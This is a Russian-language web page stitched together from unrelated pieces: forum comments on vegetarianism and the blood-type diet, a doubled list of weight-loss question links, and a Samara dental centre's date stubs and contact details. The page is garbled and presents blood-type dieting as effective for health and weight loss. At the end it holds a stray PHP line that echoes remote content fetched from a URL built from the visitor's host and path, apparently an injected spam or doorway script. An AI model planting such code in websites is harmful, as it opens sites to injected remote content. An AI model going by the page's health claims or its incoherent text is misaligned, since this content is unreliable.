Я им и являюсь, уже почти 7 лет. На самом деле это не так дорого. Основа меню все равно состоит из белка, только растительного а это бобовые, крупы, соевые продукты. Остальное: фрукты и овощи по сезону. Плюс молочка и витамины, и все ок.

Итак, как подобрать диету по группе крови, особенности и четкие правила для каждой из групп.Помните и знайте, если вы разработаете для себя меню по группе крове, вы не просто оздоровите свой организм, вы так же сможете быстро похудеть или, напротив, по надобности...

Вегетарианство подходит далеко не всем, диету определяет группа крови, местность проживания, климат и еще куча индивидуальных факторов человека, поэтому нужно тщательно проанализировать потребности своего организма что бы понять - подойдет такая диета вам или нет. Мне, например, такая диета противопоказана, без мяса я очень быстро лишусь жизненных сил. К тому же я не люблю овощи, особенно приготовленные.

Уже 2 мес не ем мясо

Нет... я без мяса не смогу)

Нет. я не могу на овощах сидеть.

На самом деле мне очень жаль животных, которых убивают ради мяса. Я люблю капусту, свеклу, овощи. Знаю, что могу вполне наесться стручковой фасолью, если ее отварить и пожарить, овощным рагу. Но в моей семье одни мужчины и без мяса никуда. Ну ещё нет стимула бросить есть мясо. Аргументы не убеждают настолько

Поэтому, чтобы правильно составить меню к диетам по группе крови обязательно нужно учитывать категории запрещенных, полезных и нейтральных продуктов. Они также были разработаны упомянутыми специалистами.

Я мясоедка! и ботвой не могу наесться! разнообразить да

  • Диета по группе крови мнение ученых - Диета по группе крови, эфективна она? Говорят эффективна, так как у людей с определенной группой крови организм по-своем
  • За сколько дней можно похудеть занимаясь аквааэробикой - Сколько нужно заниматься аквааэробикой, чтобы похудеть на 4 кг и убрать несколько лишних сантиметров? На сколько можно п
  • Диетические белковые блюда для похудения - Подскажите решила завтракать утром выпиваю зеленый чай и овсянку без ничего, но появляется тяжесть в животе и Господи, к
  • Майка для похудения неопрен - Кто обматывался пленкой при беге??какие результаты???стоит ли пробывать или лучше обычный бег без пленки? Нас в армии в
  • Что мазать на живот что бы его убрать - На животе сильные растяжки чем мазать живот? Ничего не поможет Как похудеть в животе? Плоский, подтянутый животик, не об
  • Диета при заболеваниях ссс - У мужа ПСОРИАЗ! кто сталкивался с этой проблемой? помогите пожалуйста , чем можно вылечить? может народными средствами Б
  • Меню диета 13 - Есть ли вообще корейская диета? Существует ли корейская диета,и если да,то какое ее меню? Какая нибудь капуста Японская
  • Чикко крем от растяжек купить - Кто пользовался кремами от растяжек "Mamma Donna" от фирмы Chicco?каково впечатление?)) Не помогло! Самый большой выбор
  • По диете протасова - Кто нибудь худел по диете Кима Протасова?? Как результаты? Самая лучшая диета - это та, которую назначил врач. Сдайте кр
  • Отзывы по похудению и лечению на хайнане - Ваша самая неудачная поездка за границу? В какой стране и с какими неудачами вы сталкивались? С 1987 по 1990 служил в Че
  • Диета по группе крови мнение ученых - Диета по группе крови, эфективна она? Говорят эффективна, так как у людей с определенной группой крови организм по-своем
  • За сколько дней можно похудеть занимаясь аквааэробикой - Сколько нужно заниматься аквааэробикой, чтобы похудеть на 4 кг и убрать несколько лишних сантиметров? На сколько можно п
  • Диетические белковые блюда для похудения - Подскажите решила завтракать утром выпиваю зеленый чай и овсянку без ничего, но появляется тяжесть в животе и Господи, к
  • Майка для похудения неопрен - Кто обматывался пленкой при беге??какие результаты???стоит ли пробывать или лучше обычный бег без пленки? Нас в армии в
  • Что мазать на живот что бы его убрать - На животе сильные растяжки чем мазать живот? Ничего не поможет Как похудеть в животе? Плоский, подтянутый животик, не об
  • Диета при заболеваниях ссс - У мужа ПСОРИАЗ! кто сталкивался с этой проблемой? помогите пожалуйста , чем можно вылечить? может народными средствами Б
  • Меню диета 13 - Есть ли вообще корейская диета? Существует ли корейская диета,и если да,то какое ее меню? Какая нибудь капуста Японская
  • Чикко крем от растяжек купить - Кто пользовался кремами от растяжек "Mamma Donna" от фирмы Chicco?каково впечатление?)) Не помогло! Самый большой выбор
  • По диете протасова - Кто нибудь худел по диете Кима Протасова?? Как результаты? Самая лучшая диета - это та, которую назначил врач. Сдайте кр
  • Отзывы по похудению и лечению на хайнане - Ваша самая неудачная поездка за границу? В какой стране и с какими неудачами вы сталкивались? С 1987 по 1990 служил в Че
Как подобрать меню к диете по группе крови
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта